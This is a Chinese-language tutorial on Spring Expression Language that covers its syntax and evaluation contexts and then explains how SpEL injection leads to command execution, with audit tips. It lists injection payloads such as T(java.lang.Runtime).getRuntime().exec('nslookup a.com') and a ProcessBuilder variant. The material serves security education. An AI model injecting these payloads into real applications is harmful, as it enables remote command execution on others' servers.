SPEL(Spring Expression Language),即Spring表达式语言,比JSP的EL更强大的一种表达式语言。特别是方法调用和基本的字符串模板功能。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。
上面说了spel是一种表达式语言,那么什么是表达式语言呢?
表达式/模板:在一些功能中,有一些固定的格式,只有部分变量,这样的情况下就需要使用模板,模板就是将固定的部分提取出来形成一个固定的模块,然后经过处理将变量填入其中。
我们可能还接触过类似的语言,如EL,OGNL。
EL:常用语JSP页面,简化JSP页面的操作
OGNL:struts中常见
从官方文档上可以看到SPEL支持下面的功能:
Literal expressions:文字表达式 Boolean and relational operators :布尔和关系运算符 Regular expressions:正则表达式 Class expressions:类表达式 Accessing properties, arrays, lists, maps:访问属性,数组,列表... Method invocation:使用方法 Relational operators Assignment Calling constructors:调用构造方法 Bean references:Bean表达式,如果已使用 Bean 解析程序配置了评估上下文,则可以使用 (@) 符号从表达式中查找 Bean。 Array construction Inline lists Ternary operator Variables:变量表达式 User defined functions:定义方法 Collection projection Collection selection Templated expressions:模块化表达式
SPEL是一种非常强大的表达式语言,从上面可以看出,它支持众多的操作,这些操作我们不必全部掌握,只要掌握与安全相关的
接下来来学习一下SPEL的基本用法
如下面代码所示,首先通过SpelExpressionParser创建解析器,然后传入要评估的表达式,最后通过getValue执行表达式来获取最后的结果。
ExpressionParser parser = new SpelExpressionParser(); //创建解析器 Expression exp = parser.parseExpression("'Hello World'"); //传入需要评估的表达式 String message = (String) exp.getValue(); //执行表达式,然后获取值
上面说的比较简单,其实在很多情况下,评估表达式需要设置上下文,执行表达式时从上下文中取值。
上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值。
SpEL在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。
如下,设置上下文时的操作
ExpressionParser parser = new SpelExpressionParser(); //创建解析器
EvaluationContext context = new StandardEvaluationContext("rui0"); //设置上下文 context.setVariable("variable", "ruilin"); //设置上下文,varibale=ruilin
String result1 = parser.parseExpression("#variable").getValue(context, String.class); //取值时传入上下文内容,然后执行表达式
SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:
引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}
除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:
#{T(java.lang.Math)}
T()运算符的结果会返回一个java.lang.Math类对象。
SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名。
因此我们通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性。
如下,可以成功弹出计算机
ExpressionParser parser1 = new SpelExpressionParser(); //创建解析器
Expression exp1 = parser1.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")");
Object value = exp1.getValue(); //执行表达式
spel中可以调用一些方法,如下:
ExpressionParser parser2 = new SpelExpressionParser(); //创建解析器
Expression exp2 = parser2.parseExpression("'abc'.substring(2,3)"); //传入spel表达式,可以执行substring()方法
String message2 = (String) exp2.getValue(); //执行表示式
变量定义通过EvaluationContext接口的setVariable(variableName, value)方法定义;在表达式中使用#variableName引用;
除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,
使用#root引用根对象,
使用#this引用当前上下文对象。
ExpressionParser parser = new SpelExpressionParser(); //创建解析器
EvaluationContext context = new StandardEvaluationContext("rui0"); //设置上下文 context.setVariable("variable", "ruilin"); //设置上下文,varibale=ruilin
String result1 = parser.parseExpression("#variable").getValue(context, String.class); //取值时传入上下文内容,然后执行表达式
表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用#{}作为分隔符。
ExpressionParser parser5 = new SpelExpressionParser(); //创建解析器
Expression exp5 = parser2.parseExpression("spel test is #{T(java.lang.Math).random()}",new TemplateParserContext()); //传入表达式模板
String message5 = (String) exp2.getValue(String.class); //执行表达式
上面了解了SPEL的一些基础知识,下面来看一下SPEL导致的命令执行漏洞
从上面的例子中,SPEL功能包含了执行类和方法的功能,如果输入可控,则就有安全风险。
1)评估表达式外部可控
2)使用StandardEvaluationContext,如果没有说明,默认使用的也是StandardEvaluationContext
3)执行了getvalue()等执行表达式的操作
除了StandardEvaluationContext,还有SimpleEvaluationContext,他们的区别如下:
SimpleEvaluationContext:针对 不需要 SpEL 语言语法的全部范围并且应该 受到有意限制 的表达式类别,公开 SpEL 语言特性和配置选项的子集。 StandardEvaluationContext:公开 全套 SpEL 语言功能和配置选项。用户 可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
parseExpression()方法----StandardEvaluationContext()----getvalue()
代码中全局搜索parseExpression方法,看其输入是否可控,然后看使用的上下文是否是StandardEvaluationContext(默认的也是StandardEvaluationContext),最后看是否执行了getvalue等操作方法。
如果满足上面的要求,则说明存在SPEL注入。
${12*12} T(java.lang.Runtime).getRuntime().exec("nslookup a.com") T(Thread).sleep(10000) #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com') new java.lang.ProcessBuilder({'nslookup a.com'}).start()
SPEL注入是比较常见的漏洞,在各种框架中都有见到其身影,如SpringBoot SpEL表达式注入漏洞,Spring Data Commons远程代码执行漏洞(CVE-2018-1273)等等。